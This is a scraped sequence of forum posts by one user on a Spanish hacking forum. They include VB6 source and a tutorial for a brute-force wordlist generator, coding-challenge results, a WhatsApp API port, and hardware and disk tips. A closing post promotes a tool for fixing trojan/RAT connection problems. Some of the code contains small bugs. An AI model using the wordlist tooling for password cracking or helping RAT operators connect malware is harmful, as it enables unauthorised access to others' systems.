Poner bebes, estos creceran y se haran machos o hembras, para luego Procrear.
Y diseminar veneno, para mantener la poblacion al margen.
(Mucha poblacion significa poca comida lo que haria que mueran todos de hambre)

Tenes que administrar bien la comida(Pasto) ya que estos bichitos estan muy hambrientos y comeran todo lo que se les cruze (sea Pasto, Veneno o Popo).

Los bichos mueren por 3 razones:
Comer veneno.
No comer.
De viejos.

Cuando mueren dejan un cuerpo este cuando pase el tiempo se convertira en pasto y les dara de comer a los bichos.

Cuando los bichos comen mucho hacen popo, el cual si pasa tiempo se hace pasto y da de comer PERO si lo comen antes les hara mal y quedaran con mucha hambre.

Si hay un cuerpo al lado de un popo ambos generaran veneno.

Si hay un macho y hembra con edad suficiente al lado daran entre 1 y 10 bebes cada vez que se toquen.

En fin ese es el juego...

¿A CUANTOS CICLOS LLEGARAS?

URL descarga:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#54

Visual Basic / [JUEGO & Source] VIDA : Mantene viva tu Civilizacion de bichitos.

Agosto 21, 2015, 02:22:40 PM

HOLA!!!

Este juego lo arme en aprox 4hs, me encanto la idea, muy entretenido y depende de la estrategia que uses ganaras o perderas.

El juego consiste en lo siguiente:
(una imagen antes XD)

#55

Visual Basic / [SOURCE] Brute Force Dictionary Creator by 79137913

Agosto 21, 2015, 02:20:50 PM

HOLA!!!

Bueno... es un creador de diccionarios ni mas ni menos, funciona muy rapido.

Siguiendo... les dejo una captura, el source y el binario.

Es mas para ejemplo que para usarlo, pero si no tenemos nada funciona

Código: vb

Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
Const Num As String = "0123456789"                   'Numeros
Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
Dim Cad As String                                    'Cadena entera de caracteres
Dim X As Long                                        'Para los Bucles

Private Sub Inicio()
Dim Letras() As String
Dim Posiciones() As Long
Dim Palabras() As String
Dim a As Long
Dim CT As Long
Dim CantPos As Long
Dim CantLet As Long
    Letras = CharSplit7913(Cad)
    CantLet = UBound(Letras)
    Open "C:\Dic7913.txt" For Output As #1
    Close #1
    ReDim Palabras(1000)
    For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)
        CantPos = MinMaxL(0) + a - 1
        ReDim Posiciones(CantPos)
        Do
        For X = 0 To CantPos
            Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))
        Next
        CT = CT + 1
        Posiciones(0) = Posiciones(0) + 1
        For X = 0 To CantPos - 1
            If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1
        Next
        If CT = 1001 Then
            Open "C:\Dic7913.txt" For Append As #1
                For X = 0 To 1000
                    Print #1, Palabras(X)
                Next
            Close #1
            ReDim Palabras(1000)
            CT = 0
        End If
        If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado
        Loop
Terminado:
    Next
    If CT <> 0 Then
        Open "C:\Dic7913.txt" For Append As #1
            For X = 0 To CT
                Print #1, Palabras(X)
            Next
        Close #1
        CT = 0
    End If
    MsgBox "Terminado", vbInformation, "Atencion"
End Sub

Private Sub Caracteres_Click(Index As Integer)
    'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio
    If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"
End Sub

Private Sub Go_Click()
Dim FlagCheck As Boolean
    'Comprobacion de los minimos y maximos de longitud
    If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
    If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
    If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub
    'Comprobacion de los checkboxes, minimo uno debe estar tildado
    For X = 0 To 6
        If Caracteres(X).Value = 1 Then FlagCheck = True
    Next
    If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub
    Cad = vbNullString 'Vacio el string Cad por si estaba lleno
    'Lleno cad con la seleccion del usuario
    If Caracteres(0).Value = 1 Then Cad = Num
    If Caracteres(1).Value = 1 Then Cad = Cad & Sym
    If Caracteres(2).Value = 1 Then Cad = Cad & Min
    If Caracteres(3).Value = 1 Then Cad = Cad & Max
    If Caracteres(4).Value = 1 Then Cad = Cad & SpL
    If Caracteres(5).Value = 1 Then Cad = Cad & SpU
    If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text
    MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"
    Call Inicio ' llamo al inicio de proceso
End Sub

Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.
End Sub

Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW(ExpB(X))
    Next
    ReDim Preserve AuxArr(Int(lExp / 2))
    CharSplit7913 = AuxArr
End Function

Descargar Source y Binario:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#56

Galería / Un muy muy muy pequeño aporte...

Mayo 19, 2015, 10:02:55 AM

HOLA!!!

... Hagan zoom:

GRACIAS POR LEER!!!

#57

Off Topic / Underc0de.org en MSPAINT.exe

Abril 29, 2015, 12:49:57 PM

HOLA!!!

(Clickeen la imagen para agrandarla)

(Clickeen la imagen para agrandarla)

GRACIAS POR LEER!!!

#58

Galería / Underc0de.org en MSPAINT.exe

Abril 29, 2015, 12:47:20 PM

HOLA!!!

(Clickeen la imagen para agrandarla)

(Clickeen la imagen para agrandarla)

GRACIAS POR LEER!!!

#59

Wargames y retos / Underc0de Weekend [Correcciones FINALES] Reto #3

Noviembre 13, 2014, 07:44:26 PM

HOLA!!!

Primero voy a poner los participantes que no lo lograron:
d3ztr3za (version 1): Tu codigo en fibGen(5) devuelve: [1, 1, 2, 5, 9] (Falta el 3).
Snifer: Tu codigo tiene como semilla 1,2 cuando la consigna decia 1,1 es una lastima iba a ser un buen codigo.
d3ztr3za (version 2): Tu codigo en fibGen(5) devuelve 6 numeros: [1, 1, 2, 3, 5, 8].
rollth: Lamento decirte que tu codigo solo imprime los numeros no los guarda en un vector.
damv: Tu codigo utiliza cadenas, eso no fue lo que te hizo fracasar, sino que en la ultima pocision del array hay un nullstring: ['1', '1', '2', '3', '5', ''].
tomiF: Tu codigo en fibonacci(5) devuelve 7 numeros: [1, 1, 2, 3, 5, 8, 13].
Khala:Lamento que a pesar de que tu codigo imprimia los primeros 5 en fibonacci(5) en tu vector habia 7 numeros: [1, 1, 2, 3, 5, 8, 13].
Once Version 1: Librerias Librerias, el codigo debe ser tuyo!

Tiempos de los jugadores que lo lograron!
Resultados:
jx4nk00! 30000 numeros en 0.0921 segundos
jx4nk00! 20000 numeros en 0.0597 segundos
jx4nk00! 10000 numeros en 0.0286 segundos
Expermicid V1 30000 numeros en 0.0817 segundos
Expermicid V1 20000 numeros en 0.0584 segundos
Expermicid V1 10000 numeros en 0.0271 segundos
Expermicid V2 30000 numeros en 0.0879 segundos
Expermicid V2 20000 numeros en 0.0590 segundos
Expermicid V2 10000 numeros en 0.0302 segundos
Once V2 30000 numeros en 0.0813 segundos
Once V2 20000 numeros en 0.0588 segundos
Once V2 10000 numeros en 0.0262 segundos

Velocidades Ponderadamente promediadas:
Once V2 10000 numeros en 0.0275 segundos
Expermicid V1 10000 numeros en 0.0278 segundos
jx4nk00! 10000 numeros en 0.0297 segundos
Expermicid V2 10000 numeros en 0.0297 segundos

Podio:
1º Once Version 2
2º Expermicid Version 1
3º jx4nk00!

Felicitaciones!

GRACIAS POR LEER!!!

#60

Wargames y retos / Underc0de Weekend [Correcciones FINALES] Reto #1

Octubre 31, 2014, 08:26:23 AM

HOLA!!!

Resultados de codigos entregados para los primeros 100 numeros primos:

Fermino v1: 24984 iteraciones, resultado correcto.

Fermino v2: 24984 iteraciones, resultado correcto.

Azav v1: 5745 iteraciones, resultado correcto.

Azav v2: 3481 iteraciones, resultado correcto.

2Fac3R: [ERROR] El codigo no devuelve los primeros 100 numeros primos, Output:

Código: text

3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 0 6 16 3077807600 3077807492 3077807488 3077462358 3077810296 3077772892 3077778712 0 3077467751 3077976052 3077978376 1 134519376 3077902505 3077978816 3074909459 1 1 0 3077296832 3077807492 3077807600 3077808804 3076452340 2 1 1 3074909803 3076453348 3074729160 3215560036 3077978376 3077813704 134519360 3076452340 3074909925 134514048 134519565 134519408 3076453348 3077808756 3074909878 134519360 134514299 134514048 134519565 134519408
iteraciones: 99

Once: 2377 iteraciones, resultado correcto. Iteraciones reales: 270 , Iteraciones anidadas: 2107.

rush: [ERROR] el codigo no calcula los primeros x numeros primos calcula sobre una base de aleatoreidad y aparte es tu funcion primos es un check if it prime, entonces aunque te arregle el codigo y quite la parte de aleatoreidad por un r++; tu codigo daria los numeros primos por debajo de 100, no los primeros 100.

rollth: [ERROR] el codigo no calcula los primeros x numeros primos, sino que calcula los numeros primos menores a x.

Expermicid: [INVALIDADO] Iteraciones 100, utiliza un poco de magia negra por que no calcula realmente los primos, sino que los solicita a una funcion embebida. Tu codigo es sublime, pero con solo poner Prime.first X ya tenes los primeros X numeros primos sin mas problemas y sin tantas lineas.

OLM: [ERROR] El codigo es bueno, pero empieza a calcular los primos desde 7, lamento informar que el primer primo es 2. Output:

Código: text

[7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563]

[Q]3rV[0]: [ERROR] Buen codigo, me gusto pero lamentablemente el codigo no calcula los primeros x numeros primos, sino que calcula los numeros primos menores a x.

bocha: [ERROR] El codigo no calcula primos.

rollth: [ERROR] El codigo no devuelve los primeros 100 primos (Checkea que figura el 4 en vez del 3). Output:

Código: text

Introduce un numero: 2
4
5
7
11
13
17
19
23
29
31
37
41
43
47
53
59
61
67
71
73
79
83
89
97
101
103
107
109
113
127
131
137
139
149
151
157
163
167
173
179
181
191
193
197
199
211
223
227
229
233
239
241
251
257
263
269
271
277
281
283
293
307
311
313
317
331
337
347
349
353
359
367
373
379
383
389
397
401
409
419
421
431
433
439
443
449
457
461
463
467
479
487
491
499
503
509
521
523
541

d3ztr3za: [ERROR] El codigo no calcula los primeros 100 fijos, se usa un array que contiene a los primeros 4.

OLM v2: 145530 iteraciones, resultado correcto.

Quitando codigos erroneos e invalidados por ahora nos queda asi:
1er Puesto: Once 2377 iteraciones
2do Puesto: Azav v2 3481 iteraciones
3er Puesto: Fermino v1 y v2 24984 iteraciones
4to Puesto: OLM v2: 145530 iteraciones

GRACIAS POR LEER!!!

#61

Wargames y retos / Underc0de Weekend [Correcciones Parciales] Reto #1

Octubre 30, 2014, 03:25:15 PM

Código: text

3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 0 6 16 3077807600 3077807492 3077807488 3077462358 3077810296 3077772892 3077778712 0 3077467751 3077976052 3077978376 1 134519376 3077902505 3077978816 3074909459 1 1 0 3077296832 3077807492 3077807600 3077808804 3076452340 2 1 1 3074909803 3076453348 3074729160 3215560036 3077978376 3077813704 134519360 3076452340 3074909925 134514048 134519565 134519408 3076453348 3077808756 3074909878 134519360 134514299 134514048 134519565 134519408
iteraciones: 99

Once: 2377 iteraciones, resultado correcto. Iteraciones reales: 270 , Iteraciones anidadas: 2107.

rush: [ERROR] el codigo no calcula los primeros x numeros primos calcula sobre una base de aleatoreidad y aparte es tu funcion primos es un check if it prime, entonces aunque te arregle el codigo y quite la parte de aleatoreidad por un r++; tu codigo daria los numeros primos por debajo de 100, no los primeros 100.

rollth: [ERROR] el codigo no calcula los primeros x numeros primos, sino que calcula los numeros primos menores a x.

Expermicid: [INVALIDADO] Iteraciones 100, utiliza un poco de magia negra por que no calcula realmente los primos, sino que los solicita a una funcion embebida. Tu codigo es sublime, pero con solo poner Prime.first X ya tenes los primeros X numeros primos sin mas problemas y sin tantas lineas.

OLM: [ERROR] El codigo es bueno, pero empieza a calcular los primos desde 7, lamento informar que el primer primo es 2. Output:

Código: text

[7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563]

[Q]3rV[0]: [ERROR] Buen codigo, me gusto pero lamentablemente el codigo no calcula los primeros x numeros primos, sino que calcula los numeros primos menores a x.

bocha: [ERROR] El codigo no calcula primos.

Quitando codigos erroneos e invalidados por ahora nos queda asi:
1er Puesto: Once 2377 iteraciones
2do Puesto: Azav v2 3481 iteraciones
3er Puesto: Fermino v1 y v2 24984 iteraciones

GRACIAS POR LEER!!!

#62

C# - VB.NET / [VB] Porteo de la implementacion del api de WhatsApi a VB.Net

Julio 29, 2014, 06:48:53 PM

HOLA!!!

Antes que nada Gracias a Shiroko por desarrollar el api junto a venom0ux, y tambien a fermino por salvarme algunas dudas y por darme la idea de empezar a implementar WhatsAPI.

En este post no se explicara que es No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, aclaro que no se usara No tienes permitido ver enlaces. Registrate o Entra a tu cuenta sino No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, tampoco se enseñara paso a paso y menos se daran indicaciones sobre el uso del lenguaje No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

Que vamos a necesitar:
Si es posible el ultimo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, sino cualquier otro servira.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (descargar el Exe)
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Les dejo la ultima version a la fecha subida a Mediafire, pero intenten bajar una que este actualizada o No tienes permitido ver enlaces. Registrate o Entra a tu cuenta).
Y por ultimo de ser posible una linea de telefono en la que no utilicemos WhatsApp (asi no se nos complican las cosas, el celular de la abuela servirá).

Empezamos:

Abrimos el WART, Colocamos nuestro numero(Sin + y sin ceros al principio, por ejemplo un numero para argentina seria 5492235352914 o 542235352914 [Nunca supe la diferencia entre con nueve y sin nueve]) y apretamos el boton Request Code

Una vez hecho esto te llegara un SMS o una llamada dandote un codigo, Colocalo en Code y presiona Confirm Code, luego nos dara una contraseña. (en caso de perder la contraseña, como ya estan registrados solo tienen que poner el numero y Clickear en Check Existing.)

La contraseña que nos dio la tenemos que copiar y guardar en un archivo de texto llamado "WAPASS.txt" en la carpeta donde se ejecute nuestra aplicacion, para testeos o debug, obviamente sera en "ruta_al_proyecto/bin/debug/WAPASS.txt".

Despues vamos a hacer un proyecto nuevo y vamos a agregar un modulo "mWhatsApp".

Código: vbnet

Module mWhatsApp
    Dim WAPass As String
    Const WANum As String = "5492236685519"
    Dim wa As WhatsApp
    Public Sub InitWA(ByVal NickName As String, Optional ByVal debug As Boolean = False)
        WAPass = File.ReadAllText(My.Application.Info.DirectoryPath & "\WAPASS.txt")
        wa = New WhatsApp(WANum, WAPass, NickName, debug)
        AddHandler wa.OnLoginSuccess, AddressOf wa_OnLoginSuccess
        AddHandler wa.OnLoginFailed, AddressOf wa_OnLoginFailed
        AddHandler wa.OnGetMessage, AddressOf wa_OnGetMessage
        AddHandler wa.OnGetMessageReceivedClient, AddressOf wa_OnGetMessageReceivedClient
        AddHandler wa.OnGetMessageReceivedServer, AddressOf wa_OnGetMessageReceivedServer
        AddHandler wa.OnNotificationPicture, AddressOf wa_OnNotificationPicture
        AddHandler wa.OnGetPresence, AddressOf wa_OnGetPresence
        AddHandler wa.OnGetGroupParticipants, AddressOf wa_OnGetGroupParticipants
        AddHandler wa.OnGetLastSeen, AddressOf wa_OnGetLastSeen
        AddHandler wa.OnGetTyping, AddressOf wa_OnGetTyping
        AddHandler wa.OnGetPaused, AddressOf wa_OnGetPaused
        AddHandler wa.OnGetMessageImage, AddressOf wa_OnGetMessageImage
        AddHandler wa.OnGetMessageAudio, AddressOf wa_OnGetMessageAudio
        AddHandler wa.OnGetMessageVideo, AddressOf wa_OnGetMessageVideo
        AddHandler wa.OnGetMessageLocation, AddressOf wa_OnGetMessageLocation
        AddHandler wa.OnGetMessageVcard, AddressOf wa_OnGetMessageVcard
        AddHandler wa.OnGetPhoto, AddressOf wa_OnGetPhoto
        AddHandler wa.OnGetPhotoPreview, AddressOf wa_OnGetPhotoPreview
        AddHandler wa.OnGetGroups, AddressOf wa_OnGetGroups
        AddHandler wa.OnGetSyncResult, AddressOf wa_OnGetSyncResult
        AddHandler wa.OnGetStatus, AddressOf wa_OnGetStatus
        AddHandler wa.OnGetPrivacySettings, AddressOf wa_OnGetPrivacySettings
        AddHandler WhatsAppApi.Helper.DebugAdapter.Instance.OnPrintDebug, AddressOf Instance_OnPrintDebug
        wa.Connect()
        Dim datFile As String = getDatFileName(WANum)
        Dim nextChallenge() As Byte
        If (File.Exists(datFile)) Then
            Dim foo As String = File.ReadAllText(datFile)
            nextChallenge = Convert.FromBase64String(foo)
        End If
        wa.Login(nextChallenge)
        ProcessChat(wa)
    End Sub
    Public Function SendWA(ByVal MSG As String, Num As String) As Boolean
        Dim usrMan As New WhatsUserManager()
        Dim tmpUser = usrMan.CreateUser(Num, "User")
        wa.SendMessage(Num, MSG)


        Return True
    End Function
    Public Sub Instance_OnPrintDebug(value As Object)
        Debug.Print(value)
    End Sub
    Public Sub wa_OnGetPrivacySettings(settings As Dictionary(Of WhatsApp.VisibilityCategory, WhatsApp.VisibilitySetting))

    End Sub
    Public Sub wa_OnGetStatus(form As String, type As String, name As String, status As String)

    End Sub
    Public Function getDatFileName(pn As String) As String
        Dim filename As String = String.Format("{0}.next.dat", pn)
        Return Path.Combine(Directory.GetCurrentDirectory(), filename)
    End Function
    Public Sub wa_OnGetSyncResult(index As Integer, sid As String, existingUsers As Dictionary(Of String, String), failedNumbers As String())

    End Sub
    Public Sub wa_OnGetGroups(groups As WaGroupInfo())

    End Sub
    Public Sub wa_OnGetPhotoPreview(from As String, id As String, data() As Byte)
        File.WriteAllBytes(String.Format("preview_{0}.jpg", from), data)
    End Sub
    Public Sub wa_OnGetPhoto(from As String, id As String, data() As Byte)
        File.WriteAllBytes(String.Format("{0}.jpg", from), Data)
    End Sub
    Public Sub wa_OnGetMessageVcard(from As String, id As String, name As String, data() As Byte)
        File.WriteAllBytes(String.Format("{0}.vcf", name), Data)
    End Sub
    Public Sub wa_OnGetMessageLocation(from As String, id As String, lon As Double, lat As Double, url As String, name As String, preview() As Byte)
        File.WriteAllBytes(String.Format("{0}{1end sub.jpg", lat, lon), preview)
    End Sub
    Public Sub wa_OnGetMessageVideo(from As String, id As String, filename As String, fileSize As Integer, url As String, preview() As Byte)
        OnGetMedia(filename, url, preview)
    End Sub
    Public Sub OnGetMedia(file As String, url As String, data() As Byte)
        My.Computer.FileSystem.WriteAllBytes(String.Format("preview_{0}.jpg", file), data, False)
        Dim WA_WC As New WebClient
        WA_WC.DownloadFileAsync(New Uri(url), file, 0)
    End Sub
    Public Sub wa_OnGetMessageAudio(from As String, id As String, filename As String, filesize As Integer, url As String, preview() As Byte)
        OnGetMedia(filename, url, preview)
    End Sub
    Public Sub wa_OnGetMessageImage(from As String, id As String, filename As String, size As Integer, url As String, preview() As Byte)
        OnGetMedia(filename, url, preview)
    End Sub
    Public Sub wa_OnGetPaused(from As String)

    End Sub
    Public Sub wa_OnGetTyping(from As String)

    End Sub
    Public Sub wa_OnGetLastSeen(from As String, lastseen As DateTime)

    End Sub
    Public Sub wa_OnGetMessageReceivedServer(from As String, id As String)

    End Sub
    Public Sub wa_OnGetMessageReceivedClient(from As String, id As String)

    End Sub
    Public Sub wa_OnGetGroupParticipants(gjid As String, jids() As String)

    End Sub
    Public Sub wa_OnGetPresence(from As String, type As String)

    End Sub
    Public Sub wa_OnNotificationPicture(type As String, jid As String, id As String)

    End Sub
    Public Sub wa_OnGetMessage(node As ProtocolTreeNode, from As String, id As String, name As String, message As String, receipt_sent As Boolean)
        Dim Number As String = Split(from, "@")(0)

    End Sub
    Private Sub wa_OnLoginFailed(data As String)
        End
    End Sub
    Private Sub wa_OnLoginSuccess(phoneNumber As String, data() As Byte)
        ' next password
        Dim sdata As String = Convert.ToBase64String(data)
        My.Computer.FileSystem.WriteAllText(getDatFileName(WANum), sdata, False)
    End Sub
    Private Sub ProcessChat(wa As WhatsApp)
        Dim thRecv = New Thread(AddressOf ProcessChatT) : thRecv.IsBackground = True
        thRecv.Start()
    End Sub
    Sub ProcessChatT(t)
        Try
            While wa IsNot Nothing
                wa.PollMessages()
                Thread.Sleep(100)
                Continue While
            End While
        Catch generatedExceptionName As ThreadAbortException
        End Try

    End Sub
End Module

Una vez agregado este codigo vamos a Agregar codigo al form principal para terminar con este ejemplito. (Mi from se llama Principal, ojo)

Código: vbnet

    Private Sub Principal_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        InitWA("Tutorial By 79137913")
        Call SendWA("Prueba 1", "ACAPONEELNUMEROALQUEQUIERASMANDARELMENSAJE")
    End Sub

En InitWA pones el Nick que quieras y en SendWa pones el mensaje seguido del numero al que quieras enviar un mensaje

Nota: para que no sea spam ambas personas deben estar en sus respectivas listas de contactos, por ende agrega al sistema a tu lista de contactos antes de enviar mensajes para que no se bloquee el usuario.

GRACIAS POR LEER!!!

#63

Off Topic / Spielberg ASESINO!

Julio 17, 2014, 09:30:58 AM

HOLA!!!

Jajajaj me rei mucho cuando lei esto.

GRACIAS POR LEEER!!!

#64

Visual Basic / [TUTORIAL] Generador de diccionarios.

Mayo 19, 2014, 02:39:12 PM

HOLA!!!

Este tutorial lo arme para explicar como hacer un generador de diccionarios como mi No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Empecemos...

Suponiendo que tenes esta cadena de posibles caracteres:
Código:

"ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz0123456789"

Es la mas comun y tiene 26+26+10 osea 62 caracteres correcto?
Eso yo recomendaria guardarlo en un Vector (array).

Para eso yo uso la funcion:
Código

Código: vb

Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW(ExpB(X))
    Next
    ReDim Preserve AuxArr(Int(lExp / 2))
    CharSplit7913 = AuxArr
End Function

El vector resultante suponete que lo llamamos Chars() queda compuesto asi:
Chars(0 to 61) : "A","B","C",...,"7","8","9".
Espero que hasta ahi me sigas.

En este punto solo tenemos en un Vector (array) guardados todos los caracteres que vamos a usar.

Ahora, solicitamos la longitud en este caso la guardaremos en la variable Tam (de tamaño)

Ahora vamos a crear un vector donde guardaremos la cadena actual, su index maximo sera tam-1.

Suponiendo que tam = 3

hacemos asi:

Código

Dim Palabra() as integer
'dentro del proceso de creacion de diccionario
Redim Palabra(Tam-1)

Aca lo que hicimos es hacer que Palabra quedara (0 to 2) inicializandose asi:
Palabra(0 to 2): 0,0,0

aca empieza el proceso de creacion de strings...

Código

Código: vb

Dim AuxPalabra As String
Do
    AuxPalabra = 0
    For X = 0 To tam - 1
        AuxPalabra = AuxPalabra & chars(palabra(X)) ' aca concatenamos todas las letras
    Next
    Print AuxPalabra ' aca imprimo la palabra resultante.
    palabra(0) = palabra(0) + 1 ' aca muevo un caracter
    For X = 0 To UBound(palabra) - 1
        If palabra(X) = UBound(chars) + 1 Then
            'aca verificamos que ninguna casilla quede con un numero mayor a los
            'caracteres que hay y si pasa eso aumenta la siguiente casilla
            'y la actual se vuelve a 0
            palabra(X + 1) = palabra(X + 1) + 1
            palabra(X) = 0
        End If
        'esto de abajo es para ver cuando se termino el proceso
        'osea cuando se han hecho todas las combinaciones.
        If palabra(UBound(palabra)) = UBound(chars) + 1 Then Exit Do
    Next
Loop

Entonces como te quedaria todo el codigo completo...

Código

Código: vb

Dim Diccionario As String
Dim chars() As String
Dim Tam As Integer
Dim Palabra() As Integer
Private Sub Form_Load()
'aca en diccionario pone lo que quieras
Diccionario = "ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz0123456789"
chars = CharSplit7913(Diccionario)
Tam = InputBox("inserte cantidad de caracteres")
ReDim Palabra(Tam - 1)
End Sub
 
 
Private Sub InicioDeProceso()
Dim AuxPalabra As String
    Do
        AuxPalabra = 0
        For X = 0 To Tam - 1
            AuxPalabra = AuxPalabra & chars(Palabra(X)) ' aca concatenamos todas las letras
        Next
        Debug.Print AuxPalabra ' aca imprimo la palabra resultante.
        Palabra(0) = Palabra(0) + 1 ' aca muevo un caracter
        For X = 0 To UBound(Palabra) - 1
            If Palabra(X) = UBound(chars) + 1 Then
                'aca verificamos que ninguna casilla quede con un numero mayor a los
                'caracteres que hay y si pasa eso aumenta la siguiente casilla
                'y la actual se vuelve a 0
                Palabra(X + 1) = Palabra(X + 1) + 1
                Palabra(X) = 0
            End If
            'esto de abajo es para ver cuando se termino el proceso
            'osea cuando se han hecho todas las combinaciones.
            If Palabra(UBound(Palabra)) = UBound(chars) + 1 Then Exit Do
        Next
    Loop
    MsgBox "Proceso Terminado"
End Sub
 
Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
        ExpB = expression
        lExp = UBound(ExpB)
        ReDim AuxArr(lExp)
        For X = 0 To lExp Step 2
            AuxArr(X / 2) = ChrW(ExpB(X))
        Next
        ReDim Preserve AuxArr(Int(lExp / 2))
        CharSplit7913 = AuxArr
End Function

GRACIAS POR LEER!!!

#65

Hardware y Reparaciones / Recupera tu USB Booteable y conviertelo en un USB comun

Mayo 12, 2014, 01:01:41 PM

HOLA!!!

Abrir una consola con administrador y:

Escribir: DISKPART

Código: text

Se abrira un programa de consola que dira "DISKPART>"
Ahi escribiran lo siguiente en el siguiente orden:
DISKPART> list disk
               Disk ### Status Size Free Dyn Gpt
               ——– ————- ——- ——- — —
               Disk 0 Online 247 GB 1024 KB
               Disk 1 Online 4 GB 0 B
#Aca se fijan cual es su usb en mi caso el 1
DISKPART> select disk <su disco>
DISKPART> clean
DISKPART> create partition primary
DISKPART> select partition 1
#aca arriba ponen uno si o si sin importar que numero de disco sea el suyo
DISKPART> active
DISKPART> format fs=ntfs quick
#podrian poner fat o fat32 pero preferiblemente eso lo formatean luego desde el explorador de windows
DISKPART> assign

Y listo, ya esta todo hecho y vos tenes tu USB funcionando normalmente.

GRACIAS POR LEER!!!

#66

Electrónica y Robótica / Tu cargador MiniUSB no carga tu Garmin Nuvi? Aca la solucion!

Abril 30, 2014, 10:22:27 AM

HOLA!!!

Tuve problemas con esto y encontre la solucion!

Van a necesitar:
1 Soldador
un pizca de estaño
y un poco de maña.

Antes que nada vean los pines del MiniUSB:

A nosotros nos interesan los pines 4 y 5 (ID y GND)

Tendran que desarmar el enchufecito MINIUSB (utilizar maña) del cargador y veran que (seguramente) hay 2 cables, Uno rojo y uno Negro.

Si el cable rojo esta conectado al pin 1 y el negro al pin 4/5 podemos continuar.

Lo unico que habria que hacer es soldar los pines 4 y 5 del enchufe (podes sacar la plaquita hacia afuera empujando desde un lado.

Luego simplemente arman nuevamente y enchufan, veran que funciona perfectamente.

GRACIAS POR LEER!!!

#67

Underc0de / [TryConnect] La solucion definitiva para los problemas de conexion troyano/RAT.

Abril 09, 2014, 11:05:34 AM

HOLA!!!

Este soft es la solucion definitiva para los problemas de coneccion de los RATs y Troyanos, se encarga de revisar por que tu troyano o RAT no conecta correctamente, antes de iniciarlo deberias ya haber intentado:
Abrir puertos del router
Desactivar Firewall
Redireccionar tu DNS a tu ip
Y por ultimo cerrar el cliente de tu troyano para que no escuche a la vez que este programa.

